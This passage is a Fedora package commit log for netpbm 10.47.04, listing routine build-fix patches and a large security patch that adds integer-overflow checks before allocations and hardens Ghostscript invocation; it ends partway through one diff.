	netpbm-10.24-nodoc.patch netpbm-10.27-bmptopnm.patch 
	netpbm-10.28-CAN-2005-2471.patch netpbm-10.28-gcc4.patch 
	netpbm-10.31-xwdfix.patch netpbm-10.32-pnmdepth.patch 
	netpbm-10.33-multilib.patch netpbm-10.33-ppmtompeg.patch 
	netpbm-10.34-pamscale.patch netpbm-10.35-64bitfix.patch 
	netpbm-10.35-gcc43.patch netpbm-10.35-glibc.patch 
	netpbm-10.35-pbmtog3segfault.patch 
	netpbm-10.35-pnmmontagefix.patch 
	netpbm-10.35-pnmtofiasco-stdin.patch netpbm-10.35-rgbtxt.patch 
	netpbm-10.35-svgtopam.patch netpbm-9.24-strip.patch 
Log Message:
* Wed Oct 21 2009 Jindrich Novy <jnovy at redhat.com> 10.47.04-1
- update to 10.47.04 (it is now stable) (#529525)
- fixes #502917, #482850, #482847


netpbm-CAN-2005-2471.patch:
 pstopnm.c |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE netpbm-CAN-2005-2471.patch ---
--- netpbm-10.29/converter/other/pstopnm.c.CAN-2005-2471	2005-08-15 02:39:46.000000000 +0200
+++ netpbm-10.29/converter/other/pstopnm.c	2005-08-16 15:38:15.000000000 +0200
@@ -711,11 +711,11 @@
                    "'%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s'",
                    ghostscriptProg, arg0,
                    deviceopt, outfileopt, gopt, ropt, "-q", "-dNOPAUSE", 
-                   "-dSAFER", "-");
+                   "-dPARANOIDSAFER", "-");
     }
 
     execl(ghostscriptProg, arg0, deviceopt, outfileopt, gopt, ropt, "-q",
-          "-dNOPAUSE", "-dSAFER", "-", NULL);
+          "-dNOPAUSE", "-dPARANOIDSAFER", "-", NULL);
     
     pm_error("execl() of Ghostscript ('%s') failed, errno=%d (%s)",
              ghostscriptProg, errno, strerror(errno));

netpbm-bmptopnm.patch:
 bmptopnm.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE netpbm-bmptopnm.patch ---
--- netpbm-10.35/converter/other/bmptopnm.c.bmptopnm	2007-01-29 13:08:46.000000000 +0100
+++ netpbm-10.35/converter/other/bmptopnm.c	2007-01-29 13:32:21.000000000 +0100
@@ -1262,7 +1262,7 @@ readBmp(FILE *               const ifP, 
         xel **               const colormapP,
         bool                 const verbose) {
 
-    xel * colormap;  /* malloc'ed */
+    xel * colormap = NULL;  /* malloc'ed */
     unsigned int pos;
         /* Current byte position in the BMP file */
 

netpbm-gcc4.patch:
 lib/pm.h  |    1 +
 urt/rle.h |    1 +
 2 files changed, 2 insertions(+)

--- NEW FILE netpbm-gcc4.patch ---
--- netpbm-10.30/lib/pm.h.gcc4	2005-10-21 12:19:56.000000000 +0200
+++ netpbm-10.30/lib/pm.h	2005-10-21 12:20:03.000000000 +0200
@@ -18,6 +18,7 @@
 #include <sys/types.h>
 #include <ctype.h>
 #include <stdio.h>
+#include <string.h>
 #include <errno.h>
 #include <setjmp.h>
 #include <sys/stat.h>
--- netpbm-10.30/urt/rle.h.gcc4	2005-10-21 12:19:56.000000000 +0200
+++ netpbm-10.30/urt/rle.h	2005-10-21 12:21:31.000000000 +0200
@@ -36,6 +36,7 @@
 #include "rle_config.h"     /* Configuration parameters. */
 
 #include <stdio.h>      /* Declare FILE. */
+#include <string.h>
 
 #ifdef c_plusplus
 #define USE_PROTOTYPES

netpbm-glibc.patch:
 pnmtotiffcmyk.c |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE netpbm-glibc.patch ---
--- netpbm-10.35/converter/other/pnmtotiffcmyk.c.glibc	2006-09-18 12:20:06.000000000 +0200
+++ netpbm-10.35/converter/other/pnmtotiffcmyk.c	2007-08-23 09:18:30.000000000 +0200
@@ -974,8 +974,8 @@ int main( int argc, char **argv ) {
 
   if ( (err = parseOpts( argc, argv, rt )) ) goto exit ;
   
-  if ( (err = rt->in->open( rt->in, rt )) ) goto exit ;
-  if ( (err = rt->out->open( rt->out, rt )) ) goto exit ;
+  if ( (err = (rt->in->open)( rt->in, rt )) ) goto exit ;
+  if ( (err = (rt->out->open)( rt->out, rt )) ) goto exit ;
 
   while ( rt->in->hasMore( rt->in ) ) {
     if ( (err = rt->in->next( rt->in, &r, &g, &b )) ) goto exit ;

netpbm-message.patch:
 giftopnm.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE netpbm-message.patch ---
diff -up netpbm-10.47.04/converter/other/giftopnm.c.message netpbm-10.47.04/converter/other/giftopnm.c
--- netpbm-10.47.04/converter/other/giftopnm.c.message	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/giftopnm.c	2009-10-21 14:34:42.000000000 +0200
@@ -1676,7 +1676,7 @@ convertImages(FILE * const ifP, 
                          imageSeq, imageSeq > 1 ? "s" : "");
         } else {
             if (verbose)
-                pm_message("Reading Image Sequence %d", imageSeq);
+                pm_message("Reading Image Sequence %d", imageSeq+1);
             convertImage(ifP, !allImages && (imageSeq != requestedImageSeq), 
                          imageout_file, alphafile, gifScreen, gif89,
                          tolerateBadInput);

netpbm-multilib.patch:
 endiangen.c |    1 -
 1 file changed, 1 deletion(-)

--- NEW FILE netpbm-multilib.patch ---
diff -up netpbm-10.47.04/buildtools/endiangen.c.multilib netpbm-10.47.04/buildtools/endiangen.c
--- netpbm-10.47.04/buildtools/endiangen.c.multilib	2009-10-21 13:38:54.000000000 +0200
+++ netpbm-10.47.04/buildtools/endiangen.c	2009-10-21 14:35:58.000000000 +0200
@@ -87,7 +87,6 @@ main(int argc, char **argv) {
            byteOrder() == ENDIAN_LITTLE ? "LITTLE_ENDIAN" : "BIG_ENDIAN");
     printf("#endif\n");
     printf("\n");
-    printf("#define BITS_PER_LONG %u\n", bitsPerLong());
 
     return 0;
 }

netpbm-nodoc.patch:
 GNUmakefile |    6 +-----
 1 file changed, 1 insertion(+), 5 deletions(-)

--- NEW FILE netpbm-nodoc.patch ---
--- netpbm-10.24/GNUmakefile.nodoc	2004-08-11 20:41:54.000000000 +0200
+++ netpbm-10.24/GNUmakefile	2004-09-23 16:08:29.724369240 +0200
@@ -275,16 +275,12 @@
 endif
 
 .PHONY: install.manweb
-install.manweb: $(PKGDIR)/man/web/netpbm.url $(PKGDIR)/bin/doc.url
+install.manweb: $(PKGDIR)/man/web/netpbm.url
 
 $(PKGDIR)/man/web/netpbm.url: $(PKGDIR)/man/web
 	echo "$(NETPBM_DOCURL)" > $@
 	chmod $(INSTALL_PERM_MAN) $@
 
-$(PKGDIR)/bin/doc.url: $(PKGDIR)/bin
-	echo "$(NETPBM_DOCURL)" > $@
-	chmod $(INSTALL_PERM_MAN) $@
-
 .PHONY: install-dev
 # Note that you might install the development package and NOT the runtime
 # package.  If you have a special system for building stuff, maybe for 

netpbm-pamscale.patch:
 pamscale.c |    2 ++
 1 file changed, 2 insertions(+)

--- NEW FILE netpbm-pamscale.patch ---
--- netpbm-10.34/editor/pamscale.c.pamscale	2006-03-16 01:33:49.000000000 +0100
+++ netpbm-10.34/editor/pamscale.c	2006-08-12 20:12:14.000000000 +0200
@@ -2081,6 +2081,8 @@
     struct pam inpam, outpam;
     float xscale, yscale;
 
+    memset(&cmdline, 0, sizeof(cmdline));
+
     pnm_init(&argc, argv);
 
     parseCommandLine(argc, argv, &cmdline);

netpbm-pnmdepth.patch:
 Makefile |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE netpbm-pnmdepth.patch ---
--- netpbm-10.32/other/Makefile.pnmdepth	2006-01-03 23:47:15.000000000 +0100
+++ netpbm-10.32/other/Makefile	2006-04-03 14:53:17.000000000 +0200
@@ -66,7 +66,7 @@
 	  $(SYMLINK) pamsplit$(EXE) pnmsplit
 # In February 2006, pamdepth replaced pnmdepth
 	cd $(PKGDIR)/bin ; \
-	  rm -f pnmsdepth ; \
-	  $(SYMLINK) pnmsdepth$(EXE) pnmdepth
+	  rm -f pnmdepth ; \
+	  $(SYMLINK) pamdepth$(EXE) pnmdepth
 
 FORCE:

netpbm-pnmtofiasco-stdin.patch:
 codec/coder.c |   20 ++++++++++++++++----
 codec/wfa.h   |    3 +++
 lib/image.c   |    2 +-
 lib/image.h   |    6 ++++++
 4 files changed, 26 insertions(+), 5 deletions(-)

--- NEW FILE netpbm-pnmtofiasco-stdin.patch ---
diff -up netpbm-10.35.58/converter/other/fiasco/codec/coder.c.pnmtofiasco-stdin netpbm-10.35.58/converter/other/fiasco/codec/coder.c
--- netpbm-10.35.58/converter/other/fiasco/codec/coder.c.pnmtofiasco-stdin	2009-01-19 09:23:57.000000000 +0100
+++ netpbm-10.35.58/converter/other/fiasco/codec/coder.c	2009-01-21 08:03:00.000000000 +0100
@@ -213,15 +213,14 @@ alloc_coder (char const * const *inputna
     */
    {
       char     *filename;
-      int   	width, w = 0, height, h = 0;
+      int   	width, w = 0, height, h = 0, format;
       bool_t	color, c = NO;
+      xelval maxval;
       unsigned 	n;
       
       for (n = 0; (filename = get_input_image_name (inputname, n)); n++)
       {
           FILE *file;
-          xelval maxval;
-          int format;
           if (filename == NULL)
               file = stdin;
           else
@@ -251,6 +250,8 @@ alloc_coder (char const * const *inputna
       wi->width  = w;
       wi->height = h;
       wi->color  = c;
+      wi->format = format;
+      wi->maxval = maxval;
    }
 
    /*
@@ -642,7 +643,18 @@ video_coder (char const * const *image_t
        */
       future_frame   = frame == future_display;
       c->mt->number   = frame;
-      c->mt->original = read_image (image_name);
+      if (strcmp(image_name, "-")) {
+         c->mt->original = read_image (image_name);
+      } else { /* stdin is not seekable - read image contents without rewind */
+	 int width = wfa->wfainfo->width;
+	 int height = wfa->wfainfo->height;
+	 int color = wfa->wfainfo->color;
+	 int format = wfa->wfainfo->format;
+	 xelval maxval = wfa->wfainfo->maxval;
+
+	 c->mt->original = alloc_image(width, height, color, FORMAT_4_4_4);
+	 read_image_data(c->mt->original, stdin, color, width, height, maxval, format);
+      }
       if (c->tiling->exponent && type == I_FRAME) 
 	 perform_tiling (c->mt->original, c->tiling);
 
diff -up netpbm-10.35.58/converter/other/fiasco/codec/wfa.h.pnmtofiasco-stdin netpbm-10.35.58/converter/other/fiasco/codec/wfa.h
--- netpbm-10.35.58/converter/other/fiasco/codec/wfa.h.pnmtofiasco-stdin	2009-01-19 09:23:57.000000000 +0100
+++ netpbm-10.35.58/converter/other/fiasco/codec/wfa.h	2009-01-21 08:03:28.000000000 +0100
@@ -75,6 +75,7 @@ typedef struct range_info
    unsigned level;			/* bintree level of range */
 } range_info_t;
 
+#include "pnm.h"
 #include "image.h"
 #include "rpf.h"
 #include "bit-io.h"
@@ -93,6 +94,8 @@ typedef struct wfa_info
    unsigned  width;			/* image width */
    unsigned  height;			/* image height */
    unsigned  level;			/* image level */
+   unsigned  format;			/* image format */
+   xelval    maxval;			/* image maximal pixel intensity value */
    rpf_t    *rpf;			/* Standard reduced precision format */
    rpf_t    *dc_rpf;			/* DC reduced precision format */
    rpf_t    *d_rpf;			/* Delta reduced precision format */
diff -up netpbm-10.35.58/converter/other/fiasco/lib/image.c.pnmtofiasco-stdin netpbm-10.35.58/converter/other/fiasco/lib/image.c
--- netpbm-10.35.58/converter/other/fiasco/lib/image.c.pnmtofiasco-stdin	2009-01-19 09:23:57.000000000 +0100
+++ netpbm-10.35.58/converter/other/fiasco/lib/image.c	2009-01-21 08:01:53.000000000 +0100
@@ -273,7 +273,7 @@ free_image (image_t *image)
 }
 
 
-static void 
+void 
 read_image_data(image_t * const image, FILE *input, const bool_t color,
                 const int width, const int height, const xelval maxval,
                 const int format) {
diff -up netpbm-10.35.58/converter/other/fiasco/lib/image.h.pnmtofiasco-stdin netpbm-10.35.58/converter/other/fiasco/lib/image.h
--- netpbm-10.35.58/converter/other/fiasco/lib/image.h.pnmtofiasco-stdin	2009-01-19 09:23:57.000000000 +0100
+++ netpbm-10.35.58/converter/other/fiasco/lib/image.h	2009-01-21 08:02:29.000000000 +0100
@@ -17,6 +17,8 @@
 #ifndef _IMAGE_H
 #define _IMAGE_H
 
+#include "pnm.h"
+
 #include <stdio.h>
 #include "types.h"
 #include "fiasco.h"
@@ -51,6 +53,10 @@ read_pnmheader (const char *image_name, 
 image_t *
 read_image (const char *image_name);
 void
+read_image_data(image_t * const image, FILE *input, const bool_t color,
+                const int width, const int height, const xelval maxval,
+                const int format);
+void
 write_image (const char *image_name, const image_t *image);
 bool_t
 same_image_type (const image_t *img1, const image_t *img2);

netpbm-ppmtompeg.patch:
 fsize.c    |    3 +--
 parallel.c |    2 --
 2 files changed, 1 insertion(+), 4 deletions(-)

--- NEW FILE netpbm-ppmtompeg.patch ---
--- netpbm-10.35/converter/ppm/ppmtompeg/fsize.c.ppmtompeg	2006-09-18 12:20:24.000000000 +0200
+++ netpbm-10.35/converter/ppm/ppmtompeg/fsize.c	2006-09-18 13:35:53.000000000 +0200
@@ -115,8 +115,7 @@ Fsize_Note(int          const id,
     Fsize_Validate(&Fsize_x, &Fsize_y);
 
     if ((Fsize_x == 0) || (Fsize_y == 0)) {
-        fprintf(stderr,"Frame %d:  size is less than the minimum: %d x %d!\n",
-                id, DCTSIZE*2, DCTSIZE*2);
+    	fprintf(stderr,"Frame %d: image dimensions need to be integer multiples of 16 for ppmtompeg!\n",id);
         exit(1);
     }
 
--- netpbm-10.35/converter/ppm/ppmtompeg/parallel.c.ppmtompeg	2006-09-18 13:30:49.000000000 +0200
+++ netpbm-10.35/converter/ppm/ppmtompeg/parallel.c	2006-09-18 13:32:24.000000000 +0200
@@ -1316,8 +1316,6 @@ CombineServer(int          const numFram
   TransmitPortNum(masterHostName, masterPortNum, combinePortNum);
   
   close(outputServerSocket);
-
-  fclose(ofP);
 }
 
 

netpbm-security-code.patch:
 analyzer/pgmtexture.c              |    9 +++++
 converter/other/gemtopnm.c         |    1 
 converter/other/jpegtopnm.c        |    2 +
 converter/other/pbmtopgm.c         |    1 
 converter/other/pnmtoddif.c        |    2 +
 converter/other/pnmtojpeg.c        |    9 +++++
 converter/other/pnmtops.c          |   12 +++++--
 converter/other/pnmtorle.c         |    2 +
 converter/other/pnmtosgi.c         |   19 ++++++++++++
 converter/other/rletopnm.c         |    2 +
 converter/other/sgitopnm.c         |    6 +++
 converter/other/sirtopnm.c         |    1 
 converter/other/tifftopnm.c        |    4 +-
 converter/other/xwdtopnm.c         |    5 +++
 converter/pbm/icontopbm.c          |    6 +++
 converter/pbm/mdatopbm.c           |    5 ++-
 converter/pbm/mgrtopbm.c           |    2 +
 converter/pbm/pbmto10x.c           |    2 -
 converter/pbm/pbmto4425.c          |    3 +
 converter/pbm/pbmtoascii.c         |    2 +
 converter/pbm/pbmtogem.c           |    1 
 converter/pbm/pbmtogo.c            |    1 
 converter/pbm/pbmtoicon.c          |    1 
 converter/pbm/pbmtolj.c            |    4 ++
 converter/pbm/pbmtomacp.c          |    3 +
 converter/pbm/pbmtomda.c           |    1 
 converter/pbm/pbmtoppa/pbm.c       |    4 +-
 converter/pbm/pbmtoppa/pbmtoppa.c  |    1 
 converter/pbm/pbmtoxbm.c           |    2 +
 converter/pbm/pbmtoybm.c           |    1 
 converter/pbm/pbmtozinc.c          |    1 
 converter/pbm/pktopbm.c            |    1 
 converter/pbm/thinkjettopbm.l      |    4 ++
 converter/pbm/ybmtopbm.c           |    1 
 converter/pgm/lispmtopgm.c         |    5 ++-
 converter/pgm/psidtopgm.c          |    1 
 converter/ppm/Makefile             |    2 -
 converter/ppm/ilbmtoppm.c          |   27 +++++++++++++++++
 converter/ppm/imgtoppm.c           |    2 +
 converter/ppm/pcxtoppm.c           |    2 +
 converter/ppm/picttoppm.c          |    2 +
 converter/ppm/pjtoppm.c            |   21 ++++++++-----
 converter/ppm/ppmtoeyuv.c          |    1 
 converter/ppm/ppmtoicr.c           |    2 -
 converter/ppm/ppmtoilbm.c          |    8 ++++-
 converter/ppm/ppmtolj.c            |    3 +
 converter/ppm/ppmtomitsu.c         |    2 +
 converter/ppm/ppmtompeg/iframe.c   |    4 +-
 converter/ppm/ppmtompeg/parallel.c |    4 +-
 converter/ppm/ppmtompeg/psearch.c  |   18 +++++++++++
 converter/ppm/ppmtompeg/rgbtoycc.c |    2 +
 converter/ppm/ppmtopcx.c           |    2 +
 converter/ppm/ppmtopict.c          |    2 +
 converter/ppm/ppmtopj.c            |    1 
 converter/ppm/ppmtopjxl.c          |    8 +++++
 converter/ppm/ppmtowinicon.c       |    8 +++++
 converter/ppm/ppmtoxpm.c           |    2 +
 converter/ppm/qrttoppm.c           |    2 -
 converter/ppm/sldtoppm.c           |    2 +
 converter/ppm/ximtoppm.c           |    4 ++
 converter/ppm/xpmtoppm.c           |    1 
 converter/ppm/yuvtoppm.c           |    1 
 editor/pamcut.c                    |    2 +
 editor/pbmpscale.c                 |    1 
 editor/pbmreduce.c                 |    1 
 editor/pnmgamma.c                  |    1 
 editor/pnmhisteq.c                 |    1 
 editor/pnmindex.csh                |    3 +
 editor/pnmpad.c                    |    2 +
 editor/pnmremap.c                  |    3 +
 editor/pnmscalefixed.c             |    7 ++++
 editor/pnmshear.c                  |    6 +++
 editor/ppmdither.c                 |    6 +++
 editor/specialty/pamoil.c          |    1 
 generator/pbmpage.c                |    3 +
 generator/pbmtext.c                |    4 ++
 generator/pgmcrater.c              |    2 -
 generator/pgmkernel.c              |    2 -
 lib/libpam.c                       |    3 +
 lib/libpammap.c                    |    2 +
 lib/libpbm1.c                      |    1 
 lib/libpbmvms.c                    |    2 +
 lib/libpm.c                        |   49 +++++++++++++++++++++++++++++++
 lib/pm.h                           |    7 ++++
 other/pnmcolormap.c                |    1 
 urt/README                         |    5 +++
 urt/Runput.c                       |   10 ++++--
 urt/rle.h                          |   14 +++++++++
 urt/rle_addhist.c                  |   15 ++++++++-
 urt/rle_getrow.c                   |    3 +
 urt/rle_hdr.c                      |   19 ++++++++++--
 urt/rle_open_f.c                   |   57 -------------------------------------
 urt/rle_putcom.c                   |    6 +++
 urt/scanargs.c                     |    6 ++-
 94 files changed, 404 insertions(+), 101 deletions(-)

--- NEW FILE netpbm-security-code.patch ---
diff -up netpbm-10.47.04/analyzer/pgmtexture.c.security netpbm-10.47.04/analyzer/pgmtexture.c
--- netpbm-10.47.04/analyzer/pgmtexture.c.security	2009-10-21 13:38:55.000000000 +0200
+++ netpbm-10.47.04/analyzer/pgmtexture.c	2009-10-21 15:09:33.000000000 +0200
@@ -79,6 +79,9 @@ vector (int nl, int nh)
 {
     float *v;
 
+    if(nh < nl)
+	pm_error("assert: h < l");
+    overflow_add(nh - nl, 1);
     MALLOCARRAY(v, (unsigned) (nh - nl + 1));
     if (v == NULL)
         pm_error("Unable to allocate memory for a vector.");
@@ -95,6 +98,9 @@ matrix (int nrl, int nrh, int ncl, int n
     float **m;
 
     /* allocate pointers to rows */
+    if(nrh < nrl)
+	pm_error("assert: h < l");
+    overflow_add(nrh - nrl, 1);
     MALLOCARRAY(m, (unsigned) (nrh - nrl + 1));
     if (m == NULL)
         pm_error("Unable to allocate memory for a matrix.");
@@ -102,6 +108,9 @@ matrix (int nrl, int nrh, int ncl, int n
     m -= ncl;
 
     /* allocate rows and set pointers to them */
+    if(nch < ncl)
+        pm_error("assert: h < l");
+    overflow_add(nch - ncl, 1);
     for (i = nrl; i <= nrh; i++)
     {
         MALLOCARRAY(m[i], (unsigned) (nch - ncl + 1));
diff -up netpbm-10.47.04/converter/other/gemtopnm.c.security netpbm-10.47.04/converter/other/gemtopnm.c
--- netpbm-10.47.04/converter/other/gemtopnm.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/gemtopnm.c	2009-10-21 15:09:33.000000000 +0200
@@ -106,6 +106,7 @@ main(argc, argv)
 
 	pnm_writepnminit( stdout, cols, rows, MAXVAL, type, 0 );
 
+    overflow_add(cols, padright);
     { 
         /* allocate input row data structure */
         int plane;
diff -up netpbm-10.47.04/converter/other/jpegtopnm.c.security netpbm-10.47.04/converter/other/jpegtopnm.c
--- netpbm-10.47.04/converter/other/jpegtopnm.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/jpegtopnm.c	2009-10-21 15:54:30.000000000 +0200
@@ -861,6 +861,8 @@ convertImage(FILE *                     
     /* Calculate output image dimensions so we can allocate space */
     jpeg_calc_output_dimensions(cinfoP);
 
+    overflow2(cinfoP->output_width, cinfoP->output_components);
+
     /* Start decompressor */
     jpeg_start_decompress(cinfoP);
 
diff -up netpbm-10.47.04/converter/other/pbmtopgm.c.security netpbm-10.47.04/converter/other/pbmtopgm.c
--- netpbm-10.47.04/converter/other/pbmtopgm.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/pbmtopgm.c	2009-10-21 15:09:33.000000000 +0200
@@ -47,6 +47,7 @@ main(int argc, char *argv[]) {
                  "than the image height (%u rows)", height, rows);
 
     outrow = pgm_allocrow(cols) ;
+    overflow2(width, height);
     maxval = MIN(PGM_OVERALLMAXVAL, width*height);
     pgm_writepgminit(stdout, cols, rows, maxval, 0) ;
 
diff -up netpbm-10.47.04/converter/other/pngtopnm.c.security netpbm-10.47.04/converter/other/pngtopnm.c
diff -up netpbm-10.47.04/converter/other/pnmtoddif.c.security netpbm-10.47.04/converter/other/pnmtoddif.c
--- netpbm-10.47.04/converter/other/pnmtoddif.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/pnmtoddif.c	2009-10-21 15:09:33.000000000 +0200
@@ -632,6 +632,7 @@ main(int argc, char *argv[]) {
     switch (PNM_FORMAT_TYPE(format)) {
     case PBM_TYPE:
         ip.bits_per_pixel = 1;
+        overflow_add(cols, 7);
         ip.bytes_per_line = (cols + 7) / 8;
         ip.spectral = 2;
         ip.components = 1;
@@ -647,6 +648,7 @@ main(int argc, char *argv[]) {
         ip.polarity = 2;
         break;
     case PPM_TYPE:
+        overflow2(cols, 3);
         ip.bytes_per_line = 3 * cols;
         ip.bits_per_pixel = 24;
         ip.spectral = 5;
diff -up netpbm-10.47.04/converter/other/pnmtojpeg.c.security netpbm-10.47.04/converter/other/pnmtojpeg.c
--- netpbm-10.47.04/converter/other/pnmtojpeg.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/pnmtojpeg.c	2009-10-21 15:56:32.000000000 +0200
@@ -605,7 +605,11 @@ read_scan_script(j_compress_ptr const ci
            want JPOOL_PERMANENT.  
         */
         const unsigned int scan_info_size = nscans * sizeof(jpeg_scan_info);
-        jpeg_scan_info * const scan_info = 
+        const jpeg_scan_info * scan_info;
+      
+        overflow2(nscans, sizeof(jpeg_scan_info));
+      
+        scan_info =
             (jpeg_scan_info *)
             (*cinfo->mem->alloc_small) ((j_common_ptr) cinfo, JPOOL_IMAGE,
                                         scan_info_size);
@@ -936,6 +940,8 @@ compute_rescaling_array(JSAMPLE ** const
   const long half_maxval = maxval / 2;
   long val;
 
+  overflow_add(maxval, 1);
+  overflow2(maxval+1, sizeof(JSAMPLE));
   *rescale_p = (JSAMPLE *)
     (cinfo.mem->alloc_small) ((j_common_ptr) &cinfo, JPOOL_IMAGE,
                               (size_t) (((long) maxval + 1L) * 
@@ -1014,6 +1020,7 @@ convert_scanlines(struct jpeg_compress_s
     */
 
   /* Allocate the libpnm output and compressor input buffers */
+  overflow2(cinfo_p->image_width, cinfo_p->input_components);
   buffer = (*cinfo_p->mem->alloc_sarray)
     ((j_common_ptr) cinfo_p, JPOOL_IMAGE,
      (unsigned int) cinfo_p->image_width * cinfo_p->input_components, 
diff -up netpbm-10.47.04/converter/other/pnmtops.c.security netpbm-10.47.04/converter/other/pnmtops.c
--- netpbm-10.47.04/converter/other/pnmtops.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/pnmtops.c	2009-10-21 15:09:33.000000000 +0200
@@ -186,16 +186,20 @@ parseCommandLine(int argc, char ** argv,
     cmdlineP->canturn =  !noturn;
     cmdlineP->showpage = !noshowpage;
     
+    overflow2(width, 72);
     cmdlineP->width  = width * 72;
+    overflow2(height, 72);
     cmdlineP->height = height * 72;
 
-    if (imagewidthSpec)
+    if (imagewidthSpec) {
+        overflow2(imagewidth, 72);
         cmdlineP->imagewidth = imagewidth * 72;
-    else
+    } else
         cmdlineP->imagewidth = 0;
-    if (imageheightSpec)
+    if (imageheightSpec) {
+        overflow2(imageheight, 72);
         cmdlineP->imageheight = imageheight * 72;
-    else
+    } else
         cmdlineP->imageheight = 0;
 
     if (!cmdlineP->psfilter &&
diff -up netpbm-10.47.04/converter/other/pnmtorle.c.security netpbm-10.47.04/converter/other/pnmtorle.c
--- netpbm-10.47.04/converter/other/pnmtorle.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/pnmtorle.c	2009-10-21 15:09:33.000000000 +0200
@@ -19,6 +19,8 @@
  * If you modify this software, you should include a notice giving the
  * name of the person performing the modification, the date of modification,
  * and the reason for such modification.
+ *
+ *  2002-12-19: Fix maths wrapping bugs. Alan Cox <alan at redhat.com>
  */
 /*
  * pnmtorle - A program which will convert pbmplus (ppm or pgm) images
diff -up netpbm-10.47.04/converter/other/pnmtosgi.c.security netpbm-10.47.04/converter/other/pnmtosgi.c
--- netpbm-10.47.04/converter/other/pnmtosgi.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/pnmtosgi.c	2009-10-21 15:09:33.000000000 +0200
@@ -213,6 +213,22 @@ write_channels(cols, rows, channels, put
     }
 }
 
+static void *
+xmalloc2(int x, int y)
+{
+    void *mem;
+
+    overflow2(x,y);
+    if( x * y == 0 )
+        return NULL;
+
+    mem = malloc2(x, y);
+    if( mem == NULL )
+        pm_error("out of memory allocating %d bytes", x * y);
+    return mem;
+}
+
+
 static void
 put_big_short(short s)
 {
@@ -250,6 +266,7 @@ build_channels(FILE *ifp, int cols, int 
 #endif
 
     if( storage != STORAGE_VERBATIM ) {
+        overflow2(channels, rows);
         MALLOCARRAY_NOFAIL(table, channels * rows);
         MALLOCARRAY_NOFAIL(rletemp, WORSTCOMPR(cols));
     }
@@ -303,6 +320,8 @@ compress(temp, row, rows, cols, chan_no,
             break;
         case STORAGE_RLE:
             tabrow = chan_no * rows + row;
+            overflow2(chan_no, rows);
+            overflow_add(chan_no* rows, row);
             len = rle_compress(temp, cols);    /* writes result into rletemp */
             channel[chan_no][row].length = len;
             MALLOCARRAY(p, len);
diff -up netpbm-10.47.04/converter/other/rletopnm.c.security netpbm-10.47.04/converter/other/rletopnm.c
--- netpbm-10.47.04/converter/other/rletopnm.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/rletopnm.c	2009-10-21 15:09:33.000000000 +0200
@@ -19,6 +19,8 @@
  * If you modify this software, you should include a notice giving the
  * name of the person performing the modification, the date of modification,
  * and the reason for such modification.
+ *
+ *  2002-12-19: Fix maths wrapping bugs. Alan Cox <alan at redhat.com>
  */
 /*
  * rletopnm - A conversion program to convert from Utah's "rle" image format
diff -up netpbm-10.47.04/converter/other/sgitopnm.c.security netpbm-10.47.04/converter/other/sgitopnm.c
--- netpbm-10.47.04/converter/other/sgitopnm.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/sgitopnm.c	2009-10-21 15:09:33.000000000 +0200
@@ -252,13 +252,17 @@ read_channels(ifp, head, table, func, oc
 
     if (ochan < 0) {
         maxchannel = (head->zsize < 3) ? head->zsize : 3;
+        overflow2(head->ysize, maxchannel);
         MALLOCARRAY_NOFAIL(image, head->ysize * maxchannel);
     } else {
         maxchannel = ochan + 1;
         MALLOCARRAY_NOFAIL(image, head->ysize);
     }
-    if ( table ) 
+    if ( table ) {
+        overflow2(head->xsize, 2);
+        overflow_add(head->xsize*2, 2);
         MALLOCARRAY_NOFAIL(temp, WORSTCOMPR(head->xsize));
+    }
 
     for( channel = 0; channel < maxchannel;  channel++ ) {
 #ifdef DEBUG
diff -up netpbm-10.47.04/converter/other/sirtopnm.c.security netpbm-10.47.04/converter/other/sirtopnm.c
--- netpbm-10.47.04/converter/other/sirtopnm.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/sirtopnm.c	2009-10-21 15:09:33.000000000 +0200
@@ -69,6 +69,7 @@ char* argv[];
 	    }
 	    break;
 	case PPM_TYPE:
+	    overflow3(cols, rows, 3);
 	    picsize = cols * rows * 3;
 	    planesize = cols * rows;
             if ( !( sirarray = (unsigned char*) malloc( picsize ) ) ) 
diff -up netpbm-10.47.04/converter/other/tifftopnm.c.security netpbm-10.47.04/converter/other/tifftopnm.c
--- netpbm-10.47.04/converter/other/tifftopnm.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/tifftopnm.c	2009-10-21 15:49:29.000000000 +0200
@@ -1291,7 +1291,9 @@ convertRasterByRows(pnmOut *       const
     if (scanbuf == NULL)
         pm_error("can't allocate memory for scanline buffer");
 
-    MALLOCARRAY(samplebuf, cols * spp);
+    /* samplebuf is unsigned int * !!! */
+    samplebuf = (unsigned int *) malloc3(cols , sizeof(unsigned int) , spp);
+
     if (samplebuf == NULL)
         pm_error("can't allocate memory for row buffer");
 
diff -up netpbm-10.47.04/converter/other/xwdtopnm.c.security netpbm-10.47.04/converter/other/xwdtopnm.c
--- netpbm-10.47.04/converter/other/xwdtopnm.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/xwdtopnm.c	2009-10-21 15:53:27.000000000 +0200
@@ -209,6 +209,10 @@ processX10Header(X10WDFileHeader *  cons
         *colorsP = pnm_allocrow(2);
         PNM_ASSIGN1((*colorsP)[0], 0);
